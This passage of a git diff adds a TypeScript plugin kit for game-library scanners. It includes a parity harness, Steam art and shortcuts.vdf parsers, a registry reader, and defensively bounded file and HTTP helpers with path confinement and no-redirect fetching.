fromProviderEntry(store ?? def.name, e), + ); + const report = diffParity(baseline, produced); + console.log(formatParityReport(report)); + // A non-zero exit is what makes this usable as a release gate rather than a report + // somebody skims. + if (!report.ok) process.exitCode = 1; + }), + }, + uninstall: { + summary: "remove this source's games from the host and release its store claim", + run: () => + Effect.gen(function* () { + const provider = yield* ProviderClient; + // The empty reconcile clears the entries; DELETE is what releases the CLAIM — and + // releasing is what brings the host's own built-in scanner straight back. + yield* provider.reconcile(def.name, [], undefined); + yield* provider.remove(def.name); + console.log(`${def.name}: entries removed, store claim released`); + }), + }, + }; + + return { + def: definePluginKit(kitDef), + cli: (argv) => + runPluginCli({ + def: kitDef, + commands: { + ...standardCommands, + ...(def.commands ?? {}), + } as Record>, + ...(argv !== undefined ? { argv } : {}), + }), + }; +}; diff --git a/plugin-kit/src/library/index.ts b/plugin-kit/src/library/index.ts new file mode 100644 index 00000000..a040ec6a --- /dev/null +++ b/plugin-kit/src/library/index.ts @@ -0,0 +1,23 @@ +// `@punktfunk/plugin-kit/library` — the shared framework for library-scanner plugins. +// +// A first-party scanner is its parsers plus a scan function; everything else (store claim, sync +// engine wiring, launcher entries, `__config`, nav category, CLI verbs) comes from +// `defineLibraryPlugin`. See design/library-scanner-plugins.md D10. +export { + defineLibraryPlugin, + type LibraryPlugin, + type LibraryPluginDef, + type ScanReport, +} from "./define.js"; +export { + claimedLibraryId, + diffParity, + formatParityReport, + fromHostEntry, + fromProviderEntry, + type HostGameEntry, + type ParityChange, + type ParityEntry, + type ParityReport, +} from "./parity.js"; +export * from "./parsers/index.js"; diff --git a/plugin-kit/src/library/parity.ts b/plugin-kit/src/library/parity.ts new file mode 100644 index 00000000..e0363aaa --- /dev/null +++ b/plugin-kit/src/library/parity.ts @@ -0,0 +1,249 @@ +// The parity harness: proof that a library plugin reproduces the in-host scanner it replaces. +// +// This is the acceptance gate for every extracted scanner (design M5). Ported unit tests are +// necessary but nowhere near sufficient — they pin the PARSERS, while what actually has to hold is +// that the whole pipeline lands the same entries, with the same ids, launch recipes and detect +// signals, on a real box with a real launcher installed. A plugin that parses perfectly and emits +// `steam:440` as `steam:440.0` breaks every Moonlight pin on the host and no parser test notices. +// +// It lives in the KIT, not in a plugin, because it is identical for all six: capture what the host +// reports while its built-in scanner is doing the work, then check the plugin produces the same set. +// (One plugin per repo is the house pattern, so anything shared has to be published, not adjacent.) +// +// Usage, per plugin, on a box with that launcher installed: +// +// punktfunk-plugin-steam parity --snapshot before.json # host still on its built-in scanner +// punktfunk-plugin-steam parity --compare before.json # offline: runs THIS plugin's scan +// +// `--compare` runs the plugin's own scan directly rather than installing it first, so a mismatch is +// visible before anything is published — and the run is repeatable while you fix it. +import type { ProviderEntry } from "../wire.js"; + +/** The four art slots, in the order the host's box-art ladder tries them. */ +const ART_KINDS = ["portrait", "hero", "logo", "header"] as const; +type ArtKind = (typeof ART_KINDS)[number]; + +/** One entry, reduced to the facts parity is about. */ +export interface ParityEntry { + /** The store-qualified library id — the field everything downstream is keyed on. */ + readonly id: string; + readonly title: string; + /** `:`, or null when the entry has no launch recipe. */ + readonly launch: string | null; + /** `"game"` or `"launcher"`. */ + readonly role: string; + /** + * Which art kinds are PRESENT, not their values. The representation legitimately changes on + * extraction (a scanner's `data:` URL or host-relative proxy path becomes a `file://` path or a + * CDN URL), so comparing values would fail every time for no reason. Presence is the invariant + * that matters: a title that had a poster must still have one. + */ + readonly art: Readonly>; + /** Flat descriptive metadata (platform, genres, …) — compared verbatim. */ + readonly meta: Readonly>; +} + +/** What the host reports for one entry in `GET /library`. */ +export interface HostGameEntry { + id: string; + store: string; + title: string; + role?: string; + launch?: { kind: string; value: string } | null; + art?: Partial>; + [extra: string]: unknown; +} + +/** Keys on a host entry that are structure, not descriptive metadata. */ +const NON_META = new Set([ + "id", + "store", + "title", + "role", + "launch", + "art", + "provider", + "external_id", + "prep", + "detect", +]); + +const artPresence = ( + art: Partial> | undefined, +): Record => { + const out = {} as Record; + for (const k of ART_KINDS) out[k] = Boolean(art?.[k]); + return out; +}; + +const pickMeta = (src: Record): Record => { + const out: Record = {}; + for (const [k, v] of Object.entries(src)) { + // Absent and empty are the same thing here: the host omits empty lists and null fields, and a + // plugin that sends `genres: []` has not changed anything. + if (NON_META.has(k) || v == null) continue; + if (Array.isArray(v) && v.length === 0) continue; + out[k] = v; + } + return out; +}; + +/** The library id the host assigns a claimed entry — the deterministic `:`. */ +export const claimedLibraryId = (store: string, externalId: string): string => + `${store}:${externalId}`; + +/** Reduce what the host reported (the BEFORE side) to a comparable entry. */ +export const fromHostEntry = (e: HostGameEntry): ParityEntry => ({ + id: e.id, + title: e.title, + launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null, + role: e.role ?? "game", + art: artPresence(e.art), + meta: pickMeta(e as Record), +}); + +/** Reduce what this plugin produced (the AFTER side) to a comparable entry. */ +export const fromProviderEntry = ( + store: string, + e: ProviderEntry, +): ParityEntry => { + const rec = e as unknown as Record; + return { + id: claimedLibraryId(store, e.external_id), + title: e.title, + launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null, + role: (e as { role?: string }).role ?? "game", + art: artPresence( + e.art as Partial> | undefined, + ), + meta: pickMeta(rec), + }; +}; + +/** One field that differs between the two sides. */ +export interface ParityChange { + readonly id: string; + readonly field: string; + readonly before: unknown; + readonly after: unknown; +} + +export interface ParityReport { + /** In the baseline, absent from what the plugin produced — the plugin LOST a title. */ + readonly missing: ParityEntry[]; + /** Produced by the plugin, absent from the baseline — the plugin invented a title. */ + readonly extra: ParityEntry[]; + /** Same id, different facts. */ + readonly changed: ParityChange[]; + /** Entries present on both sides and identical. */ + readonly matched: number; + /** + * Launcher entries the plugin adds (design D4). Never a failure: the built-in scanner had no + * concept of them, so they are expected to be `extra` and are reported separately so a real + * regression isn't buried under them. + */ + readonly launchersAdded: ParityEntry[]; + readonly ok: boolean; +} + +/** + * Diff a baseline (what the host reported while its built-in scanner ran) against what this plugin + * produced. `ok` is true only when nothing is missing, nothing unexpected is extra, and no compared + * field changed. + */ +export const diffParity = ( + baseline: ReadonlyArray, + produced: ReadonlyArray, +): ParityReport => { + const byId = new Map(baseline.map((e) => [e.id, e])); + const producedIds = new Set(produced.map((e) => e.id)); + const changed: ParityChange[] = []; + const extra: ParityEntry[] = []; + const launchersAdded: ParityEntry[] = []; + let matched = 0; + + for (const after of produced) { + const before = byId.get(after.id); + if (!before) { + // A launcher entry has no counterpart by construction — the scanner never emitted one. + (after.role === "launcher" ? launchersAdded : extra).push(after); + continue; + } + const diffs = compareEntry(before, after); + if (diffs.length === 0) matched++; + else changed.push(...diffs); + } + + const missing = baseline.filter((e) => !producedIds.has(e.id)); + return { + missing, + extra, + changed, + matched, + launchersAdded, + ok: missing.length === 0 && extra.length === 0 && changed.length === 0, + }; +}; + +const compareEntry = ( + before: ParityEntry, + after: ParityEntry, +): ParityChange[] => { + const out: ParityChange[] = []; + const note = (field: string, b: unknown, a: unknown) => + out.push({ id: before.id, field, before: b, after: a }); + + if (before.title !== after.title) note("title", before.title, after.title); + if (before.launch !== after.launch) + note("launch", before.launch, after.launch); + if (before.role !== after.role) note("role", before.role, after.role); + for (const k of ART_KINDS) { + // Only a LOST art kind is a regression. Gaining one is an improvement (the plugin can reach + // art the host never resolved), and failing a run over it would just train people to ignore + // the harness. + if (before.art[k] && !after.art[k]) note(`art.${k}`, true, false); + } + const keys = new Set([ + ...Object.keys(before.meta), + ...Object.keys(after.meta), + ]); + for (const k of keys) { + const b = before.meta[k]; + const a = after.meta[k]; + if (JSON.stringify(b) !== JSON.stringify(a)) note(`meta.${k}`, b, a); + } + return out; +}; + +/** Render a report for a terminal. Empty-ish when everything matched. */ +export const formatParityReport = (r: ParityReport): string => { + const lines: string[] = []; + lines.push( + r.ok + ? `parity OK — ${r.matched} entries identical` + : `parity FAILED — ${r.matched} identical, ${r.missing.length} missing, ${r.extra.length} unexpected, ${r.changed.length} changed`, + ); + for (const e of r.missing) lines.push(` missing: ${e.id} ${e.title}`); + for (const e of r.extra) lines.push(` extra: ${e.id} ${e.title}`); + for (const c of r.changed) { + lines.push( + ` changed: ${c.id} ${c.field}: ${JSON.stringify(c.before)} -> ${JSON.stringify(c.after)}`, + ); + } + if (r.launchersAdded.length > 0) { + lines.push( + ` (+${r.launchersAdded.length} launcher ${r.launchersAdded.length === 1 ? "entry" : "entries"}, expected: ${r.launchersAdded + .map((e) => e.id) + .join(", ")})`, + ); + } + // Art REPRESENTATION always changes on extraction (a host-relative proxy path or an inlined + // `data:` URL becomes a `file://` path or a CDN URL). Presence is what this harness checks, so + // say plainly that the bytes still want a human's eyes once. + if (r.ok) { + lines.push( + " note: art is compared by presence, not value — spot-check a few covers render.", + ); + } + return lines.join("\n"); +}; diff --git a/plugin-kit/src/library/parsers/art.ts b/plugin-kit/src/library/parsers/art.ts new file mode 100644 index 00000000..f39ec22d --- /dev/null +++ b/plugin-kit/src/library/parsers/art.ts @@ -0,0 +1,120 @@ +// Where a title's cover art lives: Steam's local caches, its per-account `grid/` overrides, and the +// public CDN. Ported from the host scanner's art resolution (steam.rs). +// +// After extraction a plugin emits art VALUES and the host serves them: a `file://` URL for anything +// on disk (the documented local-art contract — the host proxies the bytes), or an absolute CDN URL +// the client fetches itself. `data:` URLs remain legal but are small-logo-only: inlining covers is +// what blew the host's 2 MB body limit at 49 titles during the playnite work. +import * as path from "node:path"; +import { isFile, listDir } from "./fs.js"; + +/** The four art slots the library model carries. */ +export type ArtKind = "portrait" | "hero" | "logo" | "header"; + +export const ART_KINDS: readonly ArtKind[] = [ + "portrait", + "hero", + "logo", + "header", +]; + +/** A `file://` URL for a local path — the shape the host's art proxy understands. */ +export const fileUrl = (p: string): string => { + // Percent-encode, but keep the separators: the host converts this back to a path and expects the + // structure intact. Windows drive paths become `file:///C:/…`. + const abs = path.resolve(p); + const posix = abs.replace(/\\/g, "/"); + const encoded = posix + .split("/") + .map((seg) => encodeURIComponent(seg)) + .join("/"); + return posix.startsWith("/") ? `file://${encoded}` : `file:///${encoded}`; +}; + +/** + * The legacy flat CDN URL for a Steam appid's art kind. Correct for the many titles Valve hasn't + * re-hashed; newer ones serve from an unpredictable per-asset-hash path, where this 404s and the + * client falls through to its next candidate. That degradation is intentional and pre-existing. + */ +export const steamCdnUrl = (appid: number, kind: ArtKind): string | undefined => { + // A non-Steam shortcut's appid has the high bit set and is never a real store appid — the CDN + // would only 404, so don't emit a URL that is guaranteed to fail. + if ((appid & 0x8000_0000) !== 0) return undefined; + const file = + kind === "portrait" + ? "library_600x900.jpg" + : kind === "hero" + ? "library_hero.jpg" + : kind === "logo" + ? "logo.png" + : "header.jpg"; + return `https://cdn.cloudflare.steamstatic.com/steam/apps/${appid}/${file}`; +}; + +/** Filenames Steam's local `librarycache` uses per kind, in preference order (2x is sharper). */ +const localFilenames = (kind: ArtKind): string[] => + kind === "portrait" + ? ["library_600x900_2x.jpg", "library_600x900.jpg"] + : kind === "hero" + ? ["library_hero.jpg"] + : kind === "logo" + ? ["logo.png"] + : // Steam's local cache names the header asset differently from the store CDN's + // `header.jpg` — this trips everyone once. + ["library_header.jpg"]; + +/** + * This kind's file under one Steam root's `appcache/librarycache///`, or `undefined`. + * Steam reuses one hash dir per asset version, so there is normally exactly one candidate. + */ +export const findLocalArtFile = ( + root: string, + appid: number, + kind: ArtKind, +): string | undefined => { + const base = path.join(root, "appcache", "librarycache", String(appid)); + for (const hash of listDir(base)) { + for (const name of localFilenames(kind)) { + const p = path.join(base, hash, name); + if (isFile(p)) return p; + } + } + // Older Steam wrote the files directly under `librarycache/` with the appid in the name. + for (const name of localFilenames(kind)) { + const flat = path.join(root, "appcache", "librarycache", `${appid}_${name}`); + if (isFile(flat)) return flat; + } + return undefined; +}; + +/** + * The `grid/` basenames Steam names each art kind under for an appid: portrait `p`, hero + * `_hero`, logo `_logo`, wide capsule `` — each as `.png` then `.jpg`. + * + * These overrides are the **only** art a non-Steam shortcut ever has. + */ +export const gridFilenames = (appid: number, kind: ArtKind): string[] => { + const base = + kind === "portrait" + ? `${appid}p` + : kind === "hero" + ? `${appid}_hero` + : kind === "logo" + ? `${appid}_logo` + : `${appid}`; + return [`${base}.png`, `${base}.jpg`]; +}; + +/** This kind's user override under a `userdata//config/grid/` dir, or `undefined`. */ +export const findGridArtFile = ( + configDir: string, + appid: number, + kind: ArtKind, +): string | undefined => { + const grid = path.join(configDir, "grid"); + for (const name of gridFilenames(appid, kind)) { + const p = path.join(grid, name); + if (isFile(p)) return p; + } + return undefined; +}; diff --git a/plugin-kit/src/library/parsers/fs.ts b/plugin-kit/src/library/parsers/fs.ts new file mode 100644 index 00000000..288f9243 --- /dev/null +++ b/plugin-kit/src/library/parsers/fs.ts @@ -0,0 +1,112 @@ +// Bounded filesystem reads and path confinement — the posture the in-host scanners established, +// ported so a library plugin inherits it instead of re-deriving it. +// +// The rules here exist because a plugin reads files it does not own: a launcher's manifests, a +// catalog cache, a `goggame-*.info` a user could have edited. None of that is hostile in the normal +// case, and all of it is untrusted in the case that matters. +import * as fs from "node:fs"; +import * as path from "node:path"; + +/** A launcher manifest / `.acf` / `.info`: text, small. Matches `epic.rs`'s posture. */ +export const MAX_MANIFEST_BYTES = 1024 * 1024; +/** A binary catalog cache (Epic's `catcache.bin`, a `shortcuts.vdf`): larger, still bounded. */ +export const MAX_CACHE_BYTES = 32 * 1024 * 1024; + +/** + * Read a file as UTF-8, refusing anything over `max`. `undefined` on any error, a non-regular file, + * or an over-cap file — a plugin scanning a directory must never die on one odd entry. + * + * The size is checked by `stat` BEFORE the read, so an enormous file costs a stat, not the memory. + */ +export const readTextCapped = ( + file: string, + max = MAX_MANIFEST_BYTES, +): string | undefined => { + try { + const st = fs.statSync(file); + if (!st.isFile() || st.size === 0 || st.size > max) return undefined; + return fs.readFileSync(file, "utf8"); + } catch { + return undefined; + } +}; + +/** Read a file as bytes, refusing anything over `max`. Same posture as {@link readTextCapped}. */ +export const readBytesCapped = ( + file: string, + max = MAX_CACHE_BYTES, +): Uint8Array | undefined => { + try { + const st = fs.statSync(file); + if (!st.isFile() || st.size === 0 || st.size > max) return undefined; + return new Uint8Array(fs.readFileSync(file)); + } catch { + return undefined; + } +}; + +/** Read + `JSON.parse` a capped text file. `undefined` on any read or parse failure. */ +export const readJsonCapped = ( + file: string, + max = MAX_MANIFEST_BYTES, +): T | undefined => { + const text = readTextCapped(file, max); + if (text === undefined) return undefined; + try { + return JSON.parse(text) as T; + } catch { + return undefined; + } +}; + +/** List a directory's entry names, or `[]` if it isn't readable. */ +export const listDir = (dir: string): string[] => { + try { + return fs.readdirSync(dir); + } catch { + return []; + } +}; + +/** Does this path exist as a directory? */ +export const isDir = (p: string): boolean => { + try { + return fs.statSync(p).isDirectory(); + } catch { + return false; + } +}; + +/** Does this path exist as a regular, non-empty file? */ +export const isFile = (p: string): boolean => { + try { + const st = fs.statSync(p); + return st.isFile() && st.size > 0; + } catch { + return false; + } +}; + +/** + * Join `rel` onto `base` **only if it cannot escape** — the port of the host's `confined_join` + * (gog.rs), which exists because a crafted `goggame-.info` could otherwise point a play task's + * exe at an arbitrary program (security-review 2026-07-17). + * + * Refuses any relative path carrying a drive prefix (`C:`), a root (`/` or `\`), or a `..` + * component — each of which `path.join` would let REPLACE or climb out of `base`. `undefined` ⇒ + * out of bounds, and the caller must refuse the launch rather than fall back to something plausible. + */ +export const confinedJoin = (base: string, rel: string): string | undefined => { + if (rel === "") return undefined; + // Normalize separators so a Windows-shaped relative path is checked on any platform (a plugin + // may parse a Windows manifest while its tests run on Linux). + const parts = rel.split(/[\\/]/); + if (parts[0] === "" ) return undefined; // rooted + if (/^[A-Za-z]:$/.test(parts[0])) return undefined; // drive prefix + if (parts.some((p) => p === "..")) return undefined; // traversal + const joined = path.join(base, ...parts.filter((p) => p !== "" && p !== ".")); + // Belt and braces: the component check above is the real guard, but a symlink-free string check + // costs nothing and catches anything the split missed. + const rootWithSep = base.endsWith(path.sep) ? base : base + path.sep; + return joined === base || joined.startsWith(rootWithSep) ? joined : undefined; +}; diff --git a/plugin-kit/src/library/parsers/http.ts b/plugin-kit/src/library/parsers/http.ts new file mode 100644 index 00000000..d1f629d9 --- /dev/null +++ b/plugin-kit/src/library/parsers/http.ts @@ -0,0 +1,94 @@ +// The one outbound-HTTP helper a library plugin should use, carrying the host's `fetch_image` +// posture verbatim (art.rs): http(s) only, **no redirects**, a size cap, and a short timeout. +// +// The no-redirect rule is the important one and it is not paranoia: a scanner fetches URLs it read +// out of a launcher's cache — data the plugin did not author. A `3xx` chased automatically is an +// SSRF pivot from a process running on the operator's box (`http://169.254.169.254/…`, an internal +// service). The host learned this in the 2026-07-17 security review; a plugin fetching the same +// class of URL inherits the same rule. A rare legitimately-redirecting CDN just yields no art. +import { HostRequestError } from "../../errors.js"; +import { Effect } from "effect"; + +export interface FetchLimits { + /** Hard cap on the response body. Default 8 MiB — a cover never approaches it. */ + readonly maxBytes?: number; + /** Wall-clock timeout in ms. Default 10 000. */ + readonly timeoutMs?: number; +} + +const DEFAULT_MAX = 8 * 1024 * 1024; +const DEFAULT_TIMEOUT = 10_000; + +export interface FetchedBytes { + readonly bytes: Uint8Array; + readonly contentType: string; +} + +/** + * GET an `http(s)` URL under the posture above. Fails with {@link HostRequestError} on any non-2xx, + * a redirect, an over-cap body, a timeout, or a non-http(s) scheme. + * + * Most scanners never need this: they emit CDN URLs and let the CLIENT fetch them, which is both + * faster and keeps the host out of the loop. Reach for it only when a store's art requires an API + * lookup the client cannot do (GOG's product API, Microsoft's display catalog). + */ +export const fetchBytes = ( + url: string, + limits: FetchLimits = {}, +): Effect.Effect => + Effect.tryPromise({ + try: async (): Promise => { + if (!/^https?:\/\//i.test(url)) { + throw new Error("only http(s) URLs may be fetched"); + } + const maxBytes = limits.maxBytes ?? DEFAULT_MAX; + const signal = AbortSignal.timeout(limits.timeoutMs ?? DEFAULT_TIMEOUT); + // `redirect: "manual"` rather than "error": we want to SEE the 3xx and report it as a + // refusal, not have fetch throw something opaque. + const res = await fetch(url, { redirect: "manual", signal }); + if (res.status >= 300 && res.status < 400) { + throw new Error(`refusing to follow a ${res.status} redirect`); + } + if (!res.ok) throw new Error(`HTTP ${res.status}`); + // Trust Content-Length when it is there (cheap rejection), but still bound the read: a + // hostile server can lie about it or omit it entirely. + const declared = Number(res.headers.get("content-length")); + if (Number.isFinite(declared) && declared > maxBytes) { + throw new Error(`body larger than ${maxBytes} bytes`); + } + const buf = new Uint8Array(await res.arrayBuffer()); + if (buf.byteLength === 0) throw new Error("empty body"); + if (buf.byteLength > maxBytes) { + throw new Error(`body larger than ${maxBytes} bytes`); + } + return { + bytes: buf, + contentType: res.headers.get("content-type") ?? "image/jpeg", + }; + }, + catch: (cause) => + new HostRequestError({ + method: "GET", + path: url, + cause, + }), + }); + +/** {@link fetchBytes}, JSON-decoded. Same posture; use for a store's public product API. */ +export const fetchJson = ( + url: string, + limits: FetchLimits = {}, +): Effect.Effect => + fetchBytes(url, limits).pipe( + Effect.flatMap((r) => + Effect.try({ + try: () => JSON.parse(new TextDecoder().decode(r.bytes)) as T, + catch: (cause) => + new HostRequestError({ + method: "GET", + path: url, + cause, + }), + }), + ), + ); diff --git a/plugin-kit/src/library/parsers/index.ts b/plugin-kit/src/library/parsers/index.ts new file mode 100644 index 00000000..697f2f12 --- /dev/null +++ b/plugin-kit/src/library/parsers/index.ts @@ -0,0 +1,61 @@ +// The launcher-file parsing toolkit: what the six in-host scanners hand-rolled, hoisted so a +// library plugin is its scan function and nothing else. +// +// Everything here is total — a missing launcher, a truncated file, a schema drift in a launcher +// upgrade all degrade to "no titles from this source", never to a thrown error. A scanner that dies +// on one odd file takes the user's whole library with it. +export { + ART_KINDS, + type ArtKind, + fileUrl, + findGridArtFile, + findLocalArtFile, + gridFilenames, + steamCdnUrl, +} from "./art.js"; +export { + confinedJoin, + isDir, + isFile, + listDir, + MAX_CACHE_BYTES, + MAX_MANIFEST_BYTES, + readBytesCapped, + readJsonCapped, + readTextCapped, +} from "./fs.js"; +export { + type FetchedBytes, + type FetchLimits, + fetchBytes, + fetchJson, +} from "./http.js"; +export { + parseRegQuery, + regQueryValue, + regQueryValues, + regSubKeys, + type RegValue, + validRegKey, +} from "./registry.js"; +export { openReadOnly, type ReadOnlyDb, withReadOnlyDb } from "./sqlite.js"; +export { + crc32, + parseShortcuts, + type Shortcut, + shortcutAppId, + shortcutGameId, +} from "./shortcuts.js"; +export { + steamLibraryDirs, + steamRoots, + steamUserConfigDirs, +} from "./steam-root.js"; +export { + type AppManifest, + isSteamTool, + parseAppManifest, + vdfField, + vdfPaths, + vdfValue, +} from "./vdf.js"; diff --git a/plugin-kit/src/library/parsers/registry.ts b/plugin-kit/src/library/parsers/registry.ts new file mode 100644 index 00000000..4b420d66 --- /dev/null +++ b/plugin-kit/src/library/parsers/registry.ts @@ -0,0 +1,94 @@ +// Windows registry reads by spawning `reg.exe query` — dependency-free, and (the part that +// matters) it works from the scripting runner's LocalService account. +// +// **HKLM only, by design.** The runner runs as `NT AUTHORITY\LocalService` on Windows, which has no +// user profile: HKCU is not the operator's hive there, it is LocalService's own — so a plugin that +// read HKCU would silently see an empty registry rather than the user's launcher config. Every +// launcher fact a scanner needs (Steam's InstallPath, GOG's game list) lives under HKLM +// `WOW6432Node` anyway. Asking for HKCU is a bug, so this refuses it outright. +import { spawnSync } from "node:child_process"; + +/** One `reg.exe query` value row. */ +export interface RegValue { + readonly name: string; + /** `REG_SZ`, `REG_DWORD`, … */ + readonly type: string; + readonly data: string; +} + +const HKLM = "HKLM\\"; + +/** Is this a key path this module will touch? See the module docs on why HKLM only. */ +export const validRegKey = (key: string): boolean => + key.startsWith(HKLM) && + key.length > HKLM.length && + key.length <= 260 && + !key.includes("..") && + // `reg.exe` takes the key as one argv element (no shell), but keep the charset tame anyway so a + // malformed key can never turn into a switch. + !key.startsWith("/") && + !/[\r\n\0"]/.test(key); + +const run = (args: string[]): string | undefined => { + if (process.platform !== "win32") return undefined; + const r = spawnSync("reg.exe", args, { + encoding: "utf8", + windowsHide: true, + // A registry read is instant; a hang means something is badly wrong and a scan must not + // block on it forever. + timeout: 10_000, + maxBuffer: 4 * 1024 * 1024, + }); + if (r.status !== 0 || typeof r.stdout !== "string") return undefined; + return r.stdout; +}; + +/** + * The values directly under one HKLM key. `[]` when the key is absent, unreadable, or this is not + * Windows — a missing launcher is the normal case, never an error. + */ +export const regQueryValues = (key: string): RegValue[] => { + if (!validRegKey(key)) return []; + const out = run(["query", key]); + if (out === undefined) return []; + return parseRegQuery(out); +}; + +/** One named value under an HKLM key, or `undefined`. */ +export const regQueryValue = (key: string, name: string): string | undefined => + regQueryValues(key).find((v) => v.name.toLowerCase() === name.toLowerCase()) + ?.data; + +/** The immediate SUBKEY paths under one HKLM key (GOG lists one subkey per installed game). */ +export const regSubKeys = (key: string): string[] => { + if (!validRegKey(key)) return []; + const out = run(["query", key]); + if (out === undefined) return []; + const prefix = `${key.toLowerCase()}\\`; + return out + .split(/\r?\n/) + .map((l) => l.trim()) + .filter((l) => l.toLowerCase().startsWith(prefix)) + .filter((l) => !l.slice(key.length + 1).includes("\\")); +}; + +/** + * Parse `reg.exe query` output rows: ` `, separated by runs of + * whitespace. Data may itself contain spaces (a path), so only the first two columns are split off. + * + * Exported for tests — the format is stable but this is exactly the kind of thing that quietly + * breaks, and a plugin's tests can pin it without a Windows box. + */ +export const parseRegQuery = (stdout: string): RegValue[] => { + const out: RegValue[] = []; + for (const raw of stdout.split(/\r?\n/)) { + // Value rows are indented; the key path header is not. + if (!/^\s/.test(raw)) continue; + const line = raw.trim(); + if (line === "") continue; + const m = line.match(/^(.*?)\s{2,}(REG_[A-Z_]+)\s{2,}([\s\S]*)$/); + if (!m) continue; + out.push({ name: m[1], type: m[2], data: m[3] }); + } + return out; +}; diff --git a/plugin-kit/src/library/parsers/shortcuts.ts b/plugin-kit/src/library/parsers/shortcuts.ts new file mode 100644 index 00000000..b1348952 --- /dev/null +++ b/plugin-kit/src/library/parsers/shortcuts.ts @@ -0,0 +1,160 @@ +// Steam's BINARY `shortcuts.vdf` — the user's "Add a Non-Steam Game to My Library" entries. +// +// Ported from the host's in-tree scanner (crates/punktfunk-host/src/library/steam.rs), together +// with its unit tests, which are the real specification here: the format is undocumented, and the +// two id derivations below (`shortcutAppId`, `shortcutGameId`) are the difference between a +// shortcut that launches and one that silently does nothing. +// +// Format: a 1-byte type tag (`0x00` nested map, `0x01` string, `0x02` int32, `0x07` uint64), a +// NUL-terminated key, then a type-specific payload; `0x08` closes the current map. The whole file is +// one `shortcuts` map whose children (keyed "0", "1", …) are the individual shortcuts. +// +// Lenient and total by design: a truncated file or an unrecognized tag stops the walk and returns +// whatever parsed so far. A user's shortcuts file is not something to be strict about. + +export interface Shortcut { + /** The 32-bit shortcut appid — always high-bit set. Keys the entry id and its `grid/` art. */ + readonly appid: number; + readonly name: string; + /** The shortcut's target, as Steam stores it (quoted, possibly with trailing arguments). */ + readonly exe: string; + readonly hidden: boolean; +} + +/** A cursor over the buffer — the ported code's `pos` threaded explicitly. */ +interface Cursor { + pos: number; +} + +/** Read a NUL-terminated UTF-8 string, advancing past the terminator. `undefined` if unterminated. */ +const readCStr = (buf: Uint8Array, c: Cursor): string | undefined => { + const start = c.pos; + let end = start; + while (end < buf.length && buf[end] !== 0) end++; + if (end >= buf.length) return undefined; + const s = new TextDecoder("utf-8").decode(buf.subarray(start, end)); + c.pos = end + 1; + return s; +}; + +/** Read a little-endian int32, advancing 4 bytes. `undefined` if fewer than 4 remain. */ +const readI32 = (buf: Uint8Array, c: Cursor): number | undefined => { + if (c.pos + 4 > buf.length) return undefined; + const v = new DataView(buf.buffer, buf.byteOffset + c.pos, 4).getInt32(0, true); + c.pos += 4; + return v; +}; + +/** Skip a nested map's contents (positioned just after its key) up to and including its `0x08`. */ +const skipMap = (buf: Uint8Array, c: Cursor): boolean => { + for (;;) { + if (c.pos >= buf.length) return false; + const tag = buf[c.pos]; + c.pos += 1; + if (tag === 0x08) return true; + if (readCStr(buf, c) === undefined) return false; + if (tag === 0x00) { + if (!skipMap(buf, c)) return false; + } else if (tag === 0x01) { + if (readCStr(buf, c) === undefined) return false; + } else if (tag === 0x02) { + c.pos += 4; + } else if (tag === 0x07) { + c.pos += 8; + } else { + return false; + } + } +}; + +/** Parse one shortcut's fields (positioned just after its index key) up to the map-closing `0x08`. */ +const parseOne = (buf: Uint8Array, c: Cursor): Shortcut | undefined => { + let appid: number | undefined; + let name = ""; + let exe = ""; + let hidden = false; + for (;;) { + if (c.pos >= buf.length) return undefined; + const tag = buf[c.pos]; + c.pos += 1; + if (tag === 0x08) break; + const key = readCStr(buf, c)?.toLowerCase(); + if (key === undefined) return undefined; + if (tag === 0x00) { + if (!skipMap(buf, c)) return undefined; // nested map (e.g. `tags`) — not needed + } else if (tag === 0x01) { + const val = readCStr(buf, c); + if (val === undefined) return undefined; + if (key === "appname") name = val; + else if (key === "exe") exe = val; + } else if (tag === 0x02) { + const val = readI32(buf, c); + if (val === undefined) return undefined; + if (key === "appid") appid = val >>> 0; + else if (key === "ishidden") hidden = val !== 0; + } else if (tag === 0x07) { + c.pos += 8; // uint64 — skip + } else { + return undefined; // unknown tag: payload size unknown, can't continue safely + } + } + if (name.trim() === "") return undefined; // nothing worth showing + // Prefer the stored appid; fall back to Steam's derivation when it's absent (0 / missing). + const id = appid && appid !== 0 ? appid : shortcutAppId(exe, name); + return { appid: id, name, exe, hidden }; +}; + +/** Parse a binary `shortcuts.vdf` into its shortcuts. Never throws. */ +export const parseShortcuts = (buf: Uint8Array): Shortcut[] => { + const out: Shortcut[] = []; + const c: Cursor = { pos: 0 }; + // Enter the top-level map (`<0x00> "shortcuts" `); tolerate any key name. + if (buf[0] !== 0x00) return out; + c.pos = 1; + if (readCStr(buf, c) === undefined) return out; + while (c.pos < buf.length) { + const tag = buf[c.pos]; + c.pos += 1; + if (tag !== 0x00) break; // `0x08` (end of shortcuts) or anything unexpected + if (readCStr(buf, c) === undefined) break; // the index key ("0", "1", …) + const sc = parseOne(buf, c); + if (!sc) break; + out.push(sc); + } + return out; +}; + +/** Standard reflected (IEEE) CRC-32 — what Steam hashes a shortcut's `exe + name` with. */ +export const crc32 = (data: Uint8Array): number => { + let crc = 0xffff_ffff; + for (const byte of data) { + crc ^= byte; + for (let i = 0; i < 8; i++) { + const mask = -(crc & 1); + crc = (crc >>> 1) ^ (0xedb8_8320 & mask); + } + } + return (~crc) >>> 0; +}; + +/** + * The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the + * high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern + * Steam writes it and the stored value is preferred. + * + * The high bit is load-bearing downstream: it is how a shortcut is told apart from a real store + * appid, which is what makes the CDN art fetch skippable for shortcuts (they only ever have `grid/` + * overrides). + */ +export const shortcutAppId = (exe: string, name: string): number => + (crc32(new TextEncoder().encode(exe + name)) | 0x8000_0000) >>> 0; + +/** + * The 64-bit game id `steam://rungameid/` needs in order to launch a non-Steam shortcut: high dword + * = the 32-bit shortcut appid, low dword = the shortcut marker `0x02000000`. + * + * Handing `rungameid` the bare 32-bit appid does NOT launch a shortcut — it must be this composed + * id. Returned as a decimal string because it exceeds 2^53 and would lose precision as a `number`. + */ +export const shortcutGameId = (appid: number): string => + ((BigInt(appid >>> 0) << 32n) | 0x0200_0000n).toString(); diff --git a/plugin-kit/src/library/parsers/sqlite.ts b/plugin-kit/src/library/parsers/sqlite.ts new file mode 100644 index 00000000..6831796b --- /dev/null +++ b/plugin-kit/src/library/parsers/sqlite.ts @@ -0,0 +1,68 @@ +// 